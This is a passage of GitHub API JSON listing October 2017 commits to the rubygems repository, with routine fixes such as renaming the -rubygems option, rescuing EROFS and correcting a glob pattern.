https://github.com/rubygems/rubygems/pull/2027","tree":{"sha":"3e1b90a1dd901ef9a5c29e47ebe27bde381e723c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3e1b90a1dd901ef9a5c29e47ebe27bde381e723c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","html_url":"https://github.com/rubygems/rubygems/commit/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"40d554dd33e94c3968cd335da6283785d5121bdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc","html_url":"https://github.com/rubygems/rubygems/commit/40d554dd33e94c3968cd335da6283785d5121bdc"},{"sha":"77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","url":"https://api.github.com/repos/rubygems/rubygems/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","html_url":"https://github.com/rubygems/rubygems/commit/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4"}]},{"sha":"77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-07T05:18:58Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-07T05:18:58Z"},"message":"ubygems.rb is unavailable on Ruby 2.5","tree":{"sha":"3e1b90a1dd901ef9a5c29e47ebe27bde381e723c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3e1b90a1dd901ef9a5c29e47ebe27bde381e723c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnYY8IACgkQ+c8TQXJk\n+sK4xgf/Wh9kpktYWN+vjaFeeCGIJFP4D5zuYJ4h2DRB7YTL1Bf1df8KzK3EGI2P\n/8hA4zhHCDfLu1HiSK7YP3RUbfCXwMgix5GIIAp4OVHYkRu5Igy36HkIlv6NT5KR\nT5rocs8jgw27uzkHKvfpNMgYDRynLJh8VqB4K9RHvCSn0Dl2YBwUZMKYWzEEinLA\nATI7GbT+KMhgv6ak79nKkQrbVEUr707Q/1XSosblNF0bp1BKg4WaUc3prl8sxz9f\ngqPu3HVxZTG5bYnRWkJjoIDdulVlA4tB8Ez9IisfVSrGD4/4+dCZ6s9FSqDDmPj/\nynhfs+kkGzsgVEd5yCmjHPeCZAzI0A==\n=bLSF\n-----END PGP SIGNATURE-----","payload":"tree 3e1b90a1dd901ef9a5c29e47ebe27bde381e723c\nparent 40d554dd33e94c3968cd335da6283785d5121bdc\nauthor SHIBATA Hiroshi 1507353538 +0900\ncommitter SHIBATA Hiroshi 1507353538 +0900\n\nubygems.rb is unavailable on Ruby 2.5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","html_url":"https://github.com/rubygems/rubygems/commit/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"40d554dd33e94c3968cd335da6283785d5121bdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc","html_url":"https://github.com/rubygems/rubygems/commit/40d554dd33e94c3968cd335da6283785d5121bdc"}]},{"sha":"40d554dd33e94c3968cd335da6283785d5121bdc","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T13:29:09Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T13:29:09Z"},"message":"Auto merge of #2027 - hsbt:rename-rubygems, r=segiddins\n\nRename `-rubygems` option.\n\nThis option only needs Ruby 1.8. and It will remove at Ruby 2.5.\n\nThis commit was picked r60125 from ruby/ruby: https://github.com/ruby/ruby/commit/9de6c712b66aad77df40661c1fc6d37e9a5c251a","tree":{"sha":"1a1dbd2a09e4767bdd21d44e5bbcbd499b57196a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1a1dbd2a09e4767bdd21d44e5bbcbd499b57196a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/40d554dd33e94c3968cd335da6283785d5121bdc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc","html_url":"https://github.com/rubygems/rubygems/commit/40d554dd33e94c3968cd335da6283785d5121bdc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"432961da58e4cb58667eddd1e88cc240509174dd","url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd","html_url":"https://github.com/rubygems/rubygems/commit/432961da58e4cb58667eddd1e88cc240509174dd"},{"sha":"682dbde14b952b396240158daf636e3dc5bfc826","url":"https://api.github.com/repos/rubygems/rubygems/commits/682dbde14b952b396240158daf636e3dc5bfc826","html_url":"https://github.com/rubygems/rubygems/commit/682dbde14b952b396240158daf636e3dc5bfc826"}]},{"sha":"682dbde14b952b396240158daf636e3dc5bfc826","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-06T03:21:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-06T12:44:36Z"},"message":"Picked r60125 from ruby/ruby.\n\n https://github.com/ruby/ruby/commit/9de6c712b66aad77df40661c1fc6d37e9a5c251a","tree":{"sha":"1a1dbd2a09e4767bdd21d44e5bbcbd499b57196a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1a1dbd2a09e4767bdd21d44e5bbcbd499b57196a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/682dbde14b952b396240158daf636e3dc5bfc826","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/682dbde14b952b396240158daf636e3dc5bfc826","html_url":"https://github.com/rubygems/rubygems/commit/682dbde14b952b396240158daf636e3dc5bfc826","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/682dbde14b952b396240158daf636e3dc5bfc826/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"432961da58e4cb58667eddd1e88cc240509174dd","url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd","html_url":"https://github.com/rubygems/rubygems/commit/432961da58e4cb58667eddd1e88cc240509174dd"}]},{"sha":"18b940483b61a446d0bd7d9b449cb35781438e11","commit":{"author":{"name":"Henne Vogelsang","email":"hvogel@opensuse.org","date":"2017-10-06T12:14:28Z"},"committer":{"name":"Henne Vogelsang","email":"hvogel@opensuse.org","date":"2017-10-06T12:17:37Z"},"message":"Skip more than one gem in pristine\n\nTurn --skip into an array of values to make it possible\nto skip more than one gem when running pristine.","tree":{"sha":"bcd4de1959ce422ed68a1457c7a711774d593c54","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bcd4de1959ce422ed68a1457c7a711774d593c54"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/18b940483b61a446d0bd7d9b449cb35781438e11","comment_count":0,"verification":{"verified":false,"reason":"not_signing_key","signature":"-----BEGIN PGP SIGNATURE-----\n\niF0EABECAB0WIQQACIdiEC4Z0d5/7+qdYWTClV+t4AUCWdd0cgAKCRCdYWTClV+t\n4G6/AJwMgv2CVx0VXqHPCTlwUt7PLZwDOwCdG3rGEQa8tKtydqtySgx543znvqY=\n=Cdcr\n-----END PGP SIGNATURE-----","payload":"tree bcd4de1959ce422ed68a1457c7a711774d593c54\nparent 432961da58e4cb58667eddd1e88cc240509174dd\nauthor Henne Vogelsang 1507292068 +0200\ncommitter Henne Vogelsang 1507292257 +0200\n\nSkip more than one gem in pristine\n\nTurn --skip into an array of values to make it possible\nto skip more than one gem when running pristine.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/18b940483b61a446d0bd7d9b449cb35781438e11","html_url":"https://github.com/rubygems/rubygems/commit/18b940483b61a446d0bd7d9b449cb35781438e11","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/18b940483b61a446d0bd7d9b449cb35781438e11/comments","author":{"login":"hennevogel","id":514785,"avatar_url":"https://avatars1.githubusercontent.com/u/514785?v=4","gravatar_id":"","url":"https://api.github.com/users/hennevogel","html_url":"https://github.com/hennevogel","followers_url":"https://api.github.com/users/hennevogel/followers","following_url":"https://api.github.com/users/hennevogel/following{/other_user}","gists_url":"https://api.github.com/users/hennevogel/gists{/gist_id}","starred_url":"https://api.github.com/users/hennevogel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hennevogel/subscriptions","organizations_url":"https://api.github.com/users/hennevogel/orgs","repos_url":"https://api.github.com/users/hennevogel/repos","events_url":"https://api.github.com/users/hennevogel/events{/privacy}","received_events_url":"https://api.github.com/users/hennevogel/received_events","type":"User","site_admin":false},"committer":{"login":"hennevogel","id":514785,"avatar_url":"https://avatars1.githubusercontent.com/u/514785?v=4","gravatar_id":"","url":"https://api.github.com/users/hennevogel","html_url":"https://github.com/hennevogel","followers_url":"https://api.github.com/users/hennevogel/followers","following_url":"https://api.github.com/users/hennevogel/following{/other_user}","gists_url":"https://api.github.com/users/hennevogel/gists{/gist_id}","starred_url":"https://api.github.com/users/hennevogel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hennevogel/subscriptions","organizations_url":"https://api.github.com/users/hennevogel/orgs","repos_url":"https://api.github.com/users/hennevogel/repos","events_url":"https://api.github.com/users/hennevogel/events{/privacy}","received_events_url":"https://api.github.com/users/hennevogel/received_events","type":"User","site_admin":false},"parents":[{"sha":"432961da58e4cb58667eddd1e88cc240509174dd","url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd","html_url":"https://github.com/rubygems/rubygems/commit/432961da58e4cb58667eddd1e88cc240509174dd"}]},{"sha":"432961da58e4cb58667eddd1e88cc240509174dd","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T08:08:17Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T08:08:17Z"},"message":"Auto merge of #1417 - nobu:bug/read_binary-rofs, r=hsbt\n\nrescue EROFS\n\nWhen the source directory is placed on a read-only filesystem,\nEROFS is raised but not EACCES.","tree":{"sha":"d7606a35f3a817d947f33f41d7b69108e4f021ac","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d7606a35f3a817d947f33f41d7b69108e4f021ac"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/432961da58e4cb58667eddd1e88cc240509174dd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd","html_url":"https://github.com/rubygems/rubygems/commit/432961da58e4cb58667eddd1e88cc240509174dd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"edadc27ce5eed3aab6cdccb665872a69f8483f1f","url":"https://api.github.com/repos/rubygems/rubygems/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f","html_url":"https://github.com/rubygems/rubygems/commit/edadc27ce5eed3aab6cdccb665872a69f8483f1f"},{"sha":"aaaddde172d10847822ae4fc5186ad3ff1cc9f99","url":"https://api.github.com/repos/rubygems/rubygems/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99","html_url":"https://github.com/rubygems/rubygems/commit/aaaddde172d10847822ae4fc5186ad3ff1cc9f99"}]},{"sha":"aaaddde172d10847822ae4fc5186ad3ff1cc9f99","commit":{"author":{"name":"Nobuyoshi Nakada","email":"nobu@ruby-lang.org","date":"2015-12-19T14:48:21Z"},"committer":{"name":"Nobuyoshi Nakada","email":"nobu@ruby-lang.org","date":"2017-10-06T06:23:57Z"},"message":"rescue EROFS\n\nWhen the source directory is placed on a read-only filesystem,\nEROFS is raised but not EACCES.","tree":{"sha":"6c4980e97e877db8f0b9831decb361a5cac79d02","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6c4980e97e877db8f0b9831decb361a5cac79d02"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v2\n\niF4EABEIAAYFAlnXIX4ACgkQS8fW31jY32AtkAD/dL9eZzogEoPnV3ZeRc55KZAC\nTBqrqD+5PrQ86wZJi3cBAKrm1tZB7Wrt/4Le9k8BWxXYv+K1FTF45JlUCHg6fj8M\n=foJc\n-----END PGP SIGNATURE-----","payload":"tree 6c4980e97e877db8f0b9831decb361a5cac79d02\nparent b3a0510531e3f4097f656762b86f3391dd461971\nauthor Nobuyoshi Nakada 1450536501 +0900\ncommitter Nobuyoshi Nakada 1507271037 +0900\n\nrescue EROFS\n\nWhen the source directory is placed on a read-only filesystem,\nEROFS is raised but not EACCES.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99","html_url":"https://github.com/rubygems/rubygems/commit/aaaddde172d10847822ae4fc5186ad3ff1cc9f99","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99/comments","author":{"login":"nobu","id":16700,"avatar_url":"https://avatars0.githubusercontent.com/u/16700?v=4","gravatar_id":"","url":"https://api.github.com/users/nobu","html_url":"https://github.com/nobu","followers_url":"https://api.github.com/users/nobu/followers","following_url":"https://api.github.com/users/nobu/following{/other_user}","gists_url":"https://api.github.com/users/nobu/gists{/gist_id}","starred_url":"https://api.github.com/users/nobu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nobu/subscriptions","organizations_url":"https://api.github.com/users/nobu/orgs","repos_url":"https://api.github.com/users/nobu/repos","events_url":"https://api.github.com/users/nobu/events{/privacy}","received_events_url":"https://api.github.com/users/nobu/received_events","type":"User","site_admin":false},"committer":{"login":"nobu","id":16700,"avatar_url":"https://avatars0.githubusercontent.com/u/16700?v=4","gravatar_id":"","url":"https://api.github.com/users/nobu","html_url":"https://github.com/nobu","followers_url":"https://api.github.com/users/nobu/followers","following_url":"https://api.github.com/users/nobu/following{/other_user}","gists_url":"https://api.github.com/users/nobu/gists{/gist_id}","starred_url":"https://api.github.com/users/nobu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nobu/subscriptions","organizations_url":"https://api.github.com/users/nobu/orgs","repos_url":"https://api.github.com/users/nobu/repos","events_url":"https://api.github.com/users/nobu/events{/privacy}","received_events_url":"https://api.github.com/users/nobu/received_events","type":"User","site_admin":false},"parents":[{"sha":"b3a0510531e3f4097f656762b86f3391dd461971","url":"https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971","html_url":"https://github.com/rubygems/rubygems/commit/b3a0510531e3f4097f656762b86f3391dd461971"}]},{"sha":"edadc27ce5eed3aab6cdccb665872a69f8483f1f","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T06:05:33Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T06:05:33Z"},"message":"Auto merge of #2010 - ahorek:remove_gempath, r=segiddins\n\nmatches_for_glob - remove root path\n\n# Description:\nHi,\nduring my testing I found out that this method uses a wierd glob pattern.\n\n```\n def matches_for_glob glob # TODO: rename?\n # TODO: do we need these?? Kill it\n glob = File.join(self.lib_dirs_glob, glob)\n\n Dir[glob].map { |f| f.untaint } # FIX our tests are broken, run w/ SAFE=1\n end\n```\n\nexample:\nc:/rubyinstaller/sandbox/ruby25_mingw/lib/ruby/gems/2.5.0/gems/bigdecimal-1.3.2/{**c:/rubyinstaller/sandbox/ruby25_mingw/lib/ruby/gems/2.5.0/extensions/x64-mingw32/2.5.0/bigdecimal-1.3.2**,lib}\n\nI think it''s a bug because the absolute path in the pattern will never be matched.\n\nI attached a PR that removes absolute paths from the pattern. What do you think?\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"353be10c6190accc4b71d40b1a0691dbf666cc1f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/353be10c6190accc4b71d40b1a0691dbf666cc1f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f","html_url":"https://github.com/rubygems/rubygems/commit/edadc27ce5eed3aab6cdccb665872a69f8483f1f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"b3a0510531e3f4097f656762b86f3391dd461971","url":"https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971","html_url":"https://github.com/rubygems/rubygems/commit/b3a0510531e3f4097f656762b86f3391dd461971"},{"sha":"abe2727c2f6e031534fdf837f412e88dda77bd96","url":"https://api.github.com/repos/rubygems/rubygems/commits/abe2727c2f6e031534fdf837f412e88dda77bd96","html_url":"https://github.com/rubygems/rubygems/commit/abe2727c2f6e031534fdf837f412e88dda77bd96"}]},{"sha":"b3a0510531e3f4097f656762b86f3391dd461971","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T05:18:54Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T05:18:54Z"},"message":"Auto merge of #2025 - hsbt:remove-trailing-whitespace, r=hsbt\n\nRemoved trailing-whitespaces\n\nI always faced this issue when merging ruby core repository.","tree":{"sha":"962630f5da518ea031f2908eb05534468870d59a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/962630f5da518ea031f2908eb05534468870d59a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b3a0510531e3f4097f656762b86f3391dd461971","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971","html_url":"https://github.com/rubygems/rubygems/commit/b3a0510531e3f4097f656762b86f3391dd461971","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy